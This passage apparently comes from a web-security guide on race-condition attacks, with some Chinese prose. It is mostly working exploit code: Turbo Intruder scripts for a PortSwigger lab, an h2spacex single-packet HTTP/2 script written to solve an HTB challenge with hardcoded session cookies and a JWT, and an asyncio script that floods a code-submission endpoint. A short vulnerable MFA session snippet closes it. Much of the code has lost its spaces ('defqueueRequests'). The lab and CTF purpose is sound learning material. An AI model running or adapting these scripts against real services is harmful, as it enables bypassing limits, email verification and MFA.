defqueueRequests(target,wordlists):engine =RequestEngine(endpoint=target.endpoint,concurrentConnections=1,engine=Engine.BURP2)# Hardcode the second request for the RCconfirmationReq ='''POST /confirm?token[]= HTTP/2Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.netCookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLUContent-Length: 0'''# For each attempt (20 in total) send 50 confirmation requests.for attempt inrange(20):currentAttempt =str(attempt)username ='aUser'+ currentAttempt# queue a single registration requestengine.queue(target.req, username, gate=currentAttempt)# queue 50 confirmation requests - note that this will probably sent in two separate packetsfor i inrange(50):engine.queue(confirmationReq, gate=currentAttempt)# send all the queued requests for this attemptengine.openGate(currentAttempt)
它也可以通过 Burp Suite 中新的“并行发送组”选项在 Repeater 中使用。
对于 limit-overrun,您可以在组中添加相同的请求 50 次。
对于 connection warming,您可以在 组的开始添加一些请求到 web 服务器的某个非静态部分。
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun# Script from victor to solve a HTB challengefrom h2spacex import H2OnTlsConnectionfrom time import sleepfrom h2spacex import h2_framesimport requestscookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headersheadersObjetivo="""accept: */*content-type: application/x-www-form-urlencodedCookie: """+cookie+"""Content-Length: 112"""bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification="""Content-Length: 1Cookie: """+cookie+""""""CSRF="42a08872-610a-4965-9553-22d7b3aa1827"host ="94.237.56.46"puerto =39697url ="https://"+host+":"+str(puerto)+"/email/"response = requests.get(url, verify=False)while"objetivo"notin response.text:urlDeleteMails ="https://"+host+":"+str(puerto)+"/email/deleteall/"responseDeleteMails = requests.get(urlDeleteMails, verify=False)#print(response.text)# change this host name to new generated oneHeaders ={"Cookie": cookie,"content-type":"application/x-www-form-urlencoded"}data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRFurlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)print(responseReset.status_code)h2_conn =H2OnTlsConnection(hostname=host,port_number=puerto)h2_conn.setup_connection()try_num =100stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)all_headers_frames = [] # all headers frame + data frames which have not the last byteall_data_frames = [] # all data frames which contain the last bytefor i inrange(0, try_num):last_data_frame_with_last_byte=''if i == try_num/2:header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',headers_string=headersObjetivo,scheme='https',stream_id=stream_ids_list[i],authority=host,body=bodyObjetivo,path='/challenge/api/profile')else:header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',headers_string=headersVerification,scheme='https',stream_id=stream_ids_list[i],authority=host,body=".",path='/challenge/api/sendVerification')all_headers_frames.append(header_frames_without_last_byte)all_data_frames.append(last_data_frame_with_last_byte)# concatenate all headers bytestemp_headers_bytes =b''for h in all_headers_frames:temp_headers_bytes +=bytes(h)# concatenate all data frames which have last bytetemp_data_bytes =b''for d in all_data_frames:temp_data_bytes +=bytes(d)h2_conn.send_bytes(temp_headers_bytes)# wait some timesleep(0.1)# send ping frame to warm up connectionh2_conn.send_ping_frame()# send remaining data framesh2_conn.send_bytes(temp_data_bytes)resp = h2_conn.read_response_from_socket(_timeout=3)frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)frame_parser.add_frames(resp)frame_parser.show_response_of_sent_requests()print('---')sleep(3)h2_conn.close_connection()response = requests.get(url, verify=False)
defqueueRequests(target,wordlists):engine =RequestEngine(endpoint=target.endpoint,concurrentConnections=5,requestsPerConnection=1,pipeline=False)a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']for i inrange(len(a)):engine.queue(target.req,a[i], gate='race1')# open TCP connections and send partial requestsengine.start(timeout=10)engine.openGate('race1')engine.complete(timeout=60)defhandleResponse(req,interesting):table.add(req)
Python - asyncio
import asyncioimport httpxasyncdefuse_code(client):resp =await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})return resp.textasyncdefmain():asyncwith httpx.AsyncClient()as client:tasks = []for _ inrange(20):#20 timestasks.append(asyncio.ensure_future(use_code(client)))# Get responsesresults =await asyncio.gather(*tasks, return_exceptions=True)# Print resultsfor r in results:print(r)# Async2sync sleepawait asyncio.sleep(0.5)print(results)asyncio.run(main())
session['userid']= user.useridif user.mfa_enabled:session['enforce_mfa']=True# generate and send MFA code to user# redirect browser to MFA code entry form